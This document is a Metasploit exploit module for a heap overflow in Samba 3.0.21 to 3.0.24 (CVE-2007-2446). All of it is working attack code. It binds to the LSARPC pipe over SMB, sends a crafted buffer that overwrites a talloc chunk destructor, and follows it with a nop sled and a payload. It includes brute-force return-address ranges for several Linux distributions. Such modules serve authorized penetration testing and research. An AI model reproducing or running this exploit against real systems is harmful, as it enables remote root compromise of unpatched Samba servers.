Samba 3.0.21 < 3.0.24 - LSA trans names Heap Overflow (Metasploit)

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::SMB
	include Msf::Exploit::Brute
	
	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Samba lsa_io_trans_names Heap Overflow',
			'Description'    => %q{
				This module triggers a heap overflow in the LSA RPC service
			of the Samba daemon. This module uses the TALLOC chunk overwrite
			method (credit Ramon and Adriano), which only works with Samba
			versions 3.0.21-3.0.24. Additonally, this module will not work
			when the Samba "log level" parameter is higher than "2".
			},
			'Author'         =>
				[
					'ramon',
					'Adriano Lima <[email protected]>',
					'hdm'
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['CVE', '2007-2446'],
					['OSVDB', '34699'],
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 1024, # no limit really
				},
			'Platform'       => 'linux',
			'DefaultOptions' =>
				{
					'PrependSetresuid' => true,
					'PrependSetreuid'  => true,
					'PrependSetuid'    => true,
				},
			'Targets'        => 
				[
					['Linux vsyscall', 
					{
						'Platform'      => 'linux', 
						'Arch'          => [ ARCH_X86 ],
						'Nops'          => 1024,						
						'Bruteforce' => 
							{
								'Start' => { 'Ret' => 0xffffe410 },
								'Stop'  => { 'Ret' => 0xffffe413 },
								'Step'  => 1,
							}
					}	
					],

					
					##
					# 08356000-0843d000 rwxp 08356000 00:00 0 (Debian)      # KF
					# 80300000-8042f000 rw-p 80300000 00:00 0 (Gentoo)      # hdm
					# b800f000-b80c9000 rwxp b800f000 00:00 0 (RHEL/CentOS) # Adriano/Ramon
					# 80365000-80424000 rwxp 80365000 00:00 0 (SUSE)        # Adriano/Ramon
					# 8033c000-80412000 rwxp 00000000 00:00 0 (Slackware)   # Adriano/Ramon
					# 08342000-08436000 rwxp 00000000 00:00 0 (Ubuntu)      # hdm
					# 08270000-0837f000 rwxp 00000000 00:00 0 (SNAP)        # Andrew
					# 
					##

					['Linux Heap Brute Force (Debian/Ubuntu)', 
					{
						'Platform'      => 'linux', 
						'Arch'          => [ ARCH_X86 ],
						'Nops'          => 64*1024,
						'Bruteforce' => 
							{
								'Start' => { 'Ret' => 0x08352000 },
								'Stop'  => { 'Ret' => 0x0843d000 },
								'Step'  => 60*1024,
								
							}
					}
					],

					['Linux Heap Brute Force (Gentoo)', 
					{
						'Platform'      => 'linux', 
						'Arch'          => [ ARCH_X86 ],
						'Nops'          => 64*1024,
						'Bruteforce' => 
							{
								'Start' => { 'Ret' => 0x80310000 },
								'Stop'  => { 'Ret' => 0x8042f000 },
								'Step'  => 60*1024,
								
							}
					}
					],



					['Linux Heap Brute Force (Mandriva)', 
					{
						'Platform'      => 'linux', 
						'Arch'          => [ ARCH_X86 ],
						'Nops'          => 64*1024,
						'Bruteforce' => 
							{
								'Start' => { 'Ret' => 0x80380000 },
								'Stop'  => { 'Ret' => 0x8045b000 },
								'Step'  => 60*1024,
								
							}
					}
					],
					
					['Linux Heap Brute Force (RHEL/CentOS)', 
					{
						'Platform'      => 'linux', 
						'Arch'          => [ ARCH_X86 ],
						'Nops'          => 64*1024,
						'Bruteforce' => 
							{
								'Start' => { 'Ret' => 0xb800f000 },
								'Stop'  => { 'Ret' => 0xb80c9000 },
								'Step'  => 60*1024,
								
							}
					}
					],

					['Linux Heap Brute Force (SUSE)', 
					{
						'Platform'      => 'linux', 
						'Arch'          => [ ARCH_X86 ],
						'Nops'          => 64*1024,
						'Bruteforce' => 
							{
								'Start' => { 'Ret' => 0x80365000 },
								'Stop'  => { 'Ret' => 0x80424000 },
								'Step'  => 60*1024,
								
							}
					}
					],

					['Linux Heap Brute Force (Slackware)', 
					{
						'Platform'      => 'linux', 
						'Arch'          => [ ARCH_X86 ],
						'Nops'          => 64*1024,
						'Bruteforce' => 
							{
								'Start' => { 'Ret' => 0x8033c000 },
								'Stop'  => { 'Ret' => 0x80412000 },
								'Step'  => 60*1024,
								
							}
					}
					],

					['DEBUG',
					{
						'Platform'      => 'linux', 
						'Arch'          => [ ARCH_X86 ],
						'Nops'          => 1024,						
						'Bruteforce' => 
							{
								'Start' => { 'Ret' => 0xAABBCCDD },
								'Stop'  => { 'Ret' => 0xAABBCCDD },
								'Step'  => 4,
							}	
					}
					],	
				],
			'DisclosureDate' => 'May 14 2007',
			'DefaultTarget'  => 0
			))
			
		register_options(
			[
				OptString.new('SMBPIPE', [ true,  "The pipe name to use", 'LSARPC']),
			], self.class)
						
	end

	# Need to perform target detection
	def autofilter
		begin
			connect()
			smb_login()
			disconnect()
			if (smb_peer_lm() =~ /Samba/i)
				true
			else
				false
			end
		rescue ::Exception
			false
		end
	end	
	
	def check
		autofilter() ? CheckCode::Detected : CheckCode::Safe
	end
	
	def brute_exploit(target_addrs)
		
		if(not @nops)
			if (target['Nops'] > 0)
				print_status("Creating nop sled....")
				@nops = make_nops(target['Nops'])
			else
				@nops = ''
			end
			
			# @nops = "\xcc" * (@nops.length)
		end
		
		print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
		
		nops = @nops
		pipe = datastore['SMBPIPE'].downcase
				
		print_status("Connecting to the SMB service...")
		connect()
		smb_login()

		datastore['DCERPC::fake_bind_multi'] = false

		handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
		print_status("Binding to #{handle} ...")
		dcerpc_bind(handle)
		print_status("Bound to #{handle} ...")

		jumper = "P" * 256
		jumper[24, 5] = "\xe9" + [-5229-11-5-(nops.length/2)].pack('V')

		num_entries  = 256
		num_entries2 = 272

		# first talloc_chunk
		# 16 bits align
		# 16 bits sid_name_use
		#     16 bits uni_str_len
		#     16 bits uni_max_len
		#     32 bits buffer
		# 32 bits domain_idx
		buf = (('A' * 16) * num_entries)

		# padding
		buf << 'A' * 8

		# TALLOC_MAGIC
		talloc_magic = "\x70\xec\x14\xe8"

		# second talloc_chunk header
		buf << 'A' * 8                   # next, prev
		buf << NDR.long(0) + NDR.long(0) # parent, child
		buf << NDR.long(0)               # refs
		buf << [target_addrs['Ret']].pack('V') # destructor
		buf << 'A' * 4                   # name
		buf << 'A' * 4                   # size
		buf << talloc_magic              # flags
		buf << jumper
		
		stub = lsa_open_policy(dcerpc)
		
		stub << NDR.long(0)            # num_entries
		stub << NDR.long(0)            # ptr_sid_enum
		stub << NDR.long(num_entries)  # num_entries
		stub << NDR.long(0x20004)      # ptr_trans_names
		stub << NDR.long(num_entries2) # num_entries2
		stub << buf
		stub << nops
		stub << payload.encoded
		
		print_status("Calling the vulnerable function...")

		begin
			# LsarLookupSids
			dcerpc.call(0x0f, stub)
		rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
			print_good('Server did not respond, this is expected')
		rescue Rex::Proto::DCERPC::Exceptions::Fault
			print_error('Server is most likely patched...')
		rescue => e
			if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
				print_good('Server disconnected, this is expected')
			else
				print_error("Error: #{e.class}: #{e}")
			end
		end

		handler
		disconnect	
	end

	def lsa_open_policy(dcerpc, server="\\")
		stubdata =
			# Server
			NDR.uwstring(server) +
			# Object Attributes
				NDR.long(24) + # SIZE
				NDR.long(0)  + # LSPTR
				NDR.long(0)  + # NAME
				NDR.long(0)  + # ATTRS
				NDR.long(0)  + # SEC DES
					# LSA QOS PTR
					NDR.long(1)  + # Referent
					NDR.long(12) + # Length
					NDR.long(2)  + # Impersonation
					NDR.long(1)  + # Context Tracking
					NDR.long(0)  + # Effective Only
			# Access Mask
			NDR.long(0x02000000)
			
		res = dcerpc.call(6, stubdata)
		
		dcerpc.last_response.stub_data[0,20]
	end


end